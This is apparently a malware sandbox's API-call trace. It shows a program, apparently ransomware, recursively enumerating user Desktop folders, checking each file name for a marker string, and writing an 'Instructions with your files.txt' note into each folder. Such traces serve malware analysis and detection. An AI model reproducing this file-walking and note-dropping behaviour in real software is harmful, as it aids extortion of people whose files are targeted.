[0146.255] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb773d4e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0146.255] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\Instructions with your files.txt") returned 90
[0146.255] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0146.255] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cb74320, ftCreationTime.dwHighDateTime=0x1d5b854, ftLastAccessTime.dwLowDateTime=0xfbd750a0, ftLastAccessTime.dwHighDateTime=0x1d5b8d3, ftLastWriteTime.dwLowDateTime=0xfbd750a0, ftLastWriteTime.dwHighDateTime=0x1d5b8d3, nFileSizeHigh=0x0, nFileSizeLow=0xb1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCO3NH.wav", cAlternateFileName="")) returned 1
[0146.255] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\PCO3NH.wav") returned 68
[0146.255] StrStrIW (lpFirst="PCO3NH.wav", lpSrch="SDfghjkl") returned 0x0
[0146.255] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8016a740, ftCreationTime.dwHighDateTime=0x1d5b978, ftLastAccessTime.dwLowDateTime=0x68666590, ftLastAccessTime.dwHighDateTime=0x1d5bd42, ftLastWriteTime.dwLowDateTime=0x68666590, ftLastWriteTime.dwHighDateTime=0x1d5bd42, nFileSizeHigh=0x0, nFileSizeLow=0x10129, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Fu0UX-l.avi", cAlternateFileName="")) returned 1
[0146.255] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\_Fu0UX-l.avi") returned 70
[0146.255] StrStrIW (lpFirst="_Fu0UX-l.avi", lpSrch="SDfghjkl") returned 0x0
[0146.255] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8016a740, ftCreationTime.dwHighDateTime=0x1d5b978, ftLastAccessTime.dwLowDateTime=0x68666590, ftLastAccessTime.dwHighDateTime=0x1d5bd42, ftLastWriteTime.dwLowDateTime=0x68666590, ftLastWriteTime.dwHighDateTime=0x1d5bd42, nFileSizeHigh=0x0, nFileSizeLow=0x10129, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Fu0UX-l.avi", cAlternateFileName="")) returned 0
[0146.255] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\Instructions with your files.txt") returned 90
[0146.255] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phawchb\\cmhnft8ghne\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c
[0146.255] WriteFile (in: hFile=0x16c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x3ef1e0*=0x54, lpOverlapped=0x0) returned 1
[0146.256] WriteFile (in: hFile=0x16c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x3ef1e0*=0x18, lpOverlapped=0x0) returned 1
[0146.256] WriteFile (in: hFile=0x16c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x3ef1e0*=0xc, lpOverlapped=0x0) returned 1
[0146.256] WriteFile (in: hFile=0x16c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x3ef1e0*=0x16, lpOverlapped=0x0) returned 1
[0146.256] WriteFile (in: hFile=0x16c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x3ef1e0*=0x23, lpOverlapped=0x0) returned 1
[0146.256] CloseHandle (hObject=0x16c) returned 1
[0146.256] StrCmpNW (lpStr1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStr2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nChar=37) returned 0
[0146.256] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0146.256] GetProcessHeap () returned 0x810000
[0146.257] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0146.257] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf5ce90, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xa57a8570, ftLastAccessTime.dwHighDateTime=0x1d5c35e, ftLastWriteTime.dwLowDateTime=0xa57a8570, ftLastWriteTime.dwHighDateTime=0x1d5c35e, nFileSizeHigh=0x0, nFileSizeLow=0x17767, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dj3g8Z Yd gGaiN5.gif", cAlternateFileName="DJ3G8Z~1.GIF")) returned 1
[0146.257] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\Dj3g8Z Yd gGaiN5.gif") returned 66
[0146.257] StrStrIW (lpFirst="Dj3g8Z Yd gGaiN5.gif", lpSrch="SDfghjkl") returned 0x0
[0146.257] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7763640, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb7763640, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb7763640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0146.257] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\Instructions with your files.txt") returned 78
[0146.257] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0146.257] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe58ae60, ftCreationTime.dwHighDateTime=0x1d5b705, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KsGNpvKcZBzPV", cAlternateFileName="KSGNPV~1")) returned 1
[0146.257] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV") returned 59
[0146.257] GetProcessHeap () returned 0x810000
[0146.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0146.257] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\*") returned 61
[0146.257] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\*", lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe58ae60, ftCreationTime.dwHighDateTime=0x1d5b705, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0146.257] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\.") returned 61
[0146.257] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe58ae60, ftCreationTime.dwHighDateTime=0x1d5b705, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0146.257] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\..") returned 62
[0146.257] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bacc80, ftCreationTime.dwHighDateTime=0x1d5c4a8, ftLastAccessTime.dwLowDateTime=0xcd78fa00, ftLastAccessTime.dwHighDateTime=0x1d5c072, ftLastWriteTime.dwLowDateTime=0xcd78fa00, ftLastWriteTime.dwHighDateTime=0x1d5c072, nFileSizeHigh=0x0, nFileSizeLow=0x12934, dwReserved0=0x0, dwReserved1=0x0, cFileName="eAqKeULV JTyl4QK1Lk.pdf", cAlternateFileName="EAQKEU~1.PDF")) returned 1
[0146.257] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\eAqKeULV JTyl4QK1Lk.pdf") returned 83
[0146.257] StrStrIW (lpFirst="eAqKeULV JTyl4QK1Lk.pdf", lpSrch="SDfghjkl") returned 0x0
[0146.257] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb773d4e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0146.257] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\Instructions with your files.txt") returned 92
[0146.257] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0146.257] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c38ba0, ftCreationTime.dwHighDateTime=0x1d5bbe0, ftLastAccessTime.dwLowDateTime=0x1fd3bc50, ftLastAccessTime.dwHighDateTime=0x1d5c2ca, ftLastWriteTime.dwLowDateTime=0x1fd3bc50, ftLastWriteTime.dwHighDateTime=0x1d5c2ca, nFileSizeHigh=0x0, nFileSizeLow=0x1711c, dwReserved0=0x0, dwReserved1=0x0, cFileName="K7gPYuqL55.docx", cAlternateFileName="K7GPYU~1.DOC")) returned 1
[0146.257] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\K7gPYuqL55.docx") returned 75
[0146.257] StrStrIW (lpFirst="K7gPYuqL55.docx", lpSrch="SDfghjkl") returned 0x0
[0146.257] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21aad6c0, ftCreationTime.dwHighDateTime=0x1d5b989, ftLastAccessTime.dwLowDateTime=0xe5313fa0, ftLastAccessTime.dwHighDateTime=0x1d5b5d1, ftLastWriteTime.dwLowDateTime=0xe5313fa0, ftLastWriteTime.dwHighDateTime=0x1d5b5d1, nFileSizeHigh=0x0, nFileSizeLow=0xcc11, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyFyzEu2HMjQvTe0LMu1.jpg", cAlternateFileName="MYFYZE~1.JPG")) returned 1
[0146.257] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\MyFyzEu2HMjQvTe0LMu1.jpg") returned 84
[0146.257] StrStrIW (lpFirst="MyFyzEu2HMjQvTe0LMu1.jpg", lpSrch="SDfghjkl") returned 0x0
[0146.257] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21aad6c0, ftCreationTime.dwHighDateTime=0x1d5b989, ftLastAccessTime.dwLowDateTime=0xe5313fa0, ftLastAccessTime.dwHighDateTime=0x1d5b5d1, ftLastWriteTime.dwLowDateTime=0xe5313fa0, ftLastWriteTime.dwHighDateTime=0x1d5b5d1, nFileSizeHigh=0x0, nFileSizeLow=0xcc11, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyFyzEu2HMjQvTe0LMu1.jpg", cAlternateFileName="MYFYZE~1.JPG")) returned 0
[0146.258] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\Instructions with your files.txt") returned 92
[0146.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phawchb\\ksgnpvkczbzpv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c
[0146.258] WriteFile (in: hFile=0x16c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x3ef1e0*=0x54, lpOverlapped=0x0) returned 1
[0146.258] WriteFile (in: hFile=0x16c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x3ef1e0*=0x18, lpOverlapped=0x0) returned 1
[0146.259] WriteFile (in: hFile=0x16c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x3ef1e0*=0xc, lpOverlapped=0x0) returned 1
[0146.259] WriteFile (in: hFile=0x16c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x3ef1e0*=0x16, lpOverlapped=0x0) returned 1
[0146.259] WriteFile (in: hFile=0x16c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x3ef1e0, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x3ef1e0*=0x23, lpOverlapped=0x0) returned 1
[0146.259] CloseHandle (hObject=0x16c) returned 1
[0146.259] StrCmpNW (lpStr1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStr2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nChar=37) returned 0
[0146.259] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0146.259] GetProcessHeap () returned 0x810000
[0146.259] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0146.259] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x3ef490 | out: lpFindFileData=0x3ef490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121c4f0, ftCreationTime.dwHighDateTime=0x1d5bd65, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LhoM8PoRuJNh qlQW", cAlternateFileName="LHOM8P~1")) returned 1
[0146.259] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW") returned 63
[0146.259] GetProcessHeap () returned 0x810000
[0146.259] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0146.259] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\*") returned 65
[0146.259] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\*", lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121c4f0, ftCreationTime.dwHighDateTime=0x1d5bd65, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0146.259] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\.") returned 65
[0146.259] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121c4f0, ftCreationTime.dwHighDateTime=0x1d5bd65, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb773d4e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0146.259] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\..") returned 66
[0146.259] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f15930, ftCreationTime.dwHighDateTime=0x1d5c069, ftLastAccessTime.dwLowDateTime=0x5c083f40, ftLastAccessTime.dwHighDateTime=0x1d5c20f, ftLastWriteTime.dwLowDateTime=0x5c083f40, ftLastWriteTime.dwHighDateTime=0x1d5c20f, nFileSizeHigh=0x0, nFileSizeLow=0x1e31, dwReserved0=0x0, dwReserved1=0x0, cFileName="hthx4EOsjHQx5hG9.mp3", cAlternateFileName="HTHX4E~1.MP3")) returned 1
[0146.259] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\hthx4EOsjHQx5hG9.mp3") returned 84
[0146.260] StrStrIW (lpFirst="hthx4EOsjHQx5hG9.mp3", lpSrch="SDfghjkl") returned 0x0
[0146.260] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb773d4e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb773d4e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb7763640, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0146.260] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\Instructions with your files.txt") returned 96
[0146.260] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0146.260] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39346ac0, ftCreationTime.dwHighDateTime=0x1d5b9ea, ftLastAccessTime.dwLowDateTime=0x91a503d0, ftLastAccessTime.dwHighDateTime=0x1d5c1c0, ftLastWriteTime.dwLowDateTime=0x91a503d0, ftLastWriteTime.dwHighDateTime=0x1d5c1c0, nFileSizeHigh=0x0, nFileSizeLow=0x12187, dwReserved0=0x0, dwReserved1=0x0, cFileName="iRNvqSC.mp3", cAlternateFileName="")) returned 1
[0146.260] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\iRNvqSC.mp3") returned 75
[0146.260] StrStrIW (lpFirst="iRNvqSC.mp3", lpSrch="SDfghjkl") returned 0x0
[0146.260] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e00030, ftCreationTime.dwHighDateTime=0x1d5bab8, ftLastAccessTime.dwLowDateTime=0x381ab8b0, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x381ab8b0, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x7875, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcPsK54zZ-r9tlWKJMA.gif", cAlternateFileName="KCPSK5~1.GIF")) returned 1
[0146.260] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\kcPsK54zZ-r9tlWKJMA.gif") returned 87
[0146.260] StrStrIW (lpFirst="kcPsK54zZ-r9tlWKJMA.gif", lpSrch="SDfghjkl") returned 0x0
[0146.260] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18ac810, ftCreationTime.dwHighDateTime=0x1d5bd80, ftLastAccessTime.dwLowDateTime=0xcd44e870, ftLastAccessTime.dwHighDateTime=0x1d5bc92, ftLastWriteTime.dwLowDateTime=0xcd44e870, ftLastWriteTime.dwHighDateTime=0x1d5bc92, nFileSizeHigh=0x0, nFileSizeLow=0x4c79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sn1N.mp3", cAlternateFileName="")) returned 1
[0146.260] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\Sn1N.mp3") returned 72
[0146.260] StrStrIW (lpFirst="Sn1N.mp3", lpSrch="SDfghjkl") returned 0x0
[0146.260] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8775f180, ftCreationTime.dwHighDateTime=0x1d5c1b6, ftLastAccessTime.dwLowDateTime=0xcf5362e0, ftLastAccessTime.dwHighDateTime=0x1d5bbde, ftLastWriteTime.dwLowDateTime=0xcf5362e0, ftLastWriteTime.dwHighDateTime=0x1d5bbde, nFileSizeHigh=0x0, nFileSizeLow=0xd290, dwReserved0=0x0, dwReserved1=0x0, cFileName="sPavQ3-1LxicUqqWZG.flv", cAlternateFileName="SPAVQ3~1.FLV")) returned 1
[0146.260] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\sPavQ3-1LxicUqqWZG.flv") returned 86
[0146.260] StrStrIW (lpFirst="sPavQ3-1LxicUqqWZG.flv", lpSrch="SDfghjkl") returned 0x0
[0146.260] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x3ef200 | out: lpFindFileData=0x3ef200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd0481a0, ftCreationTime.dwHighDateTime=0x1d5c49c, ftLastAccessTime.dwLowDateTime=0xb7d542a0, ftLastAccessTime.dwHighDateTime=0x1d5bd14, ftLastWriteTime.dwLowDateTime=0xb7d542a0, ftLastWriteTime.dwHighDateTime=0x1d5bd14, nFileSizeHigh=0x0, nFileSizeLow=0x35dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xgGaP6XdBq7wOhY K4T.m4a", cAlternateFileName="XGGAP6~1.M4A")) returned 1
[0146.260] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\LhoM8PoRuJNh qlQW\\xgGaP6XdBq7wOhY K4T.m4a") returned 87
[0146.260] StrStrIW (lpFirst="xgGaP6XdBq7wOhY K4T.m4a", lpSrch="SDfghjkl") returned 0x0
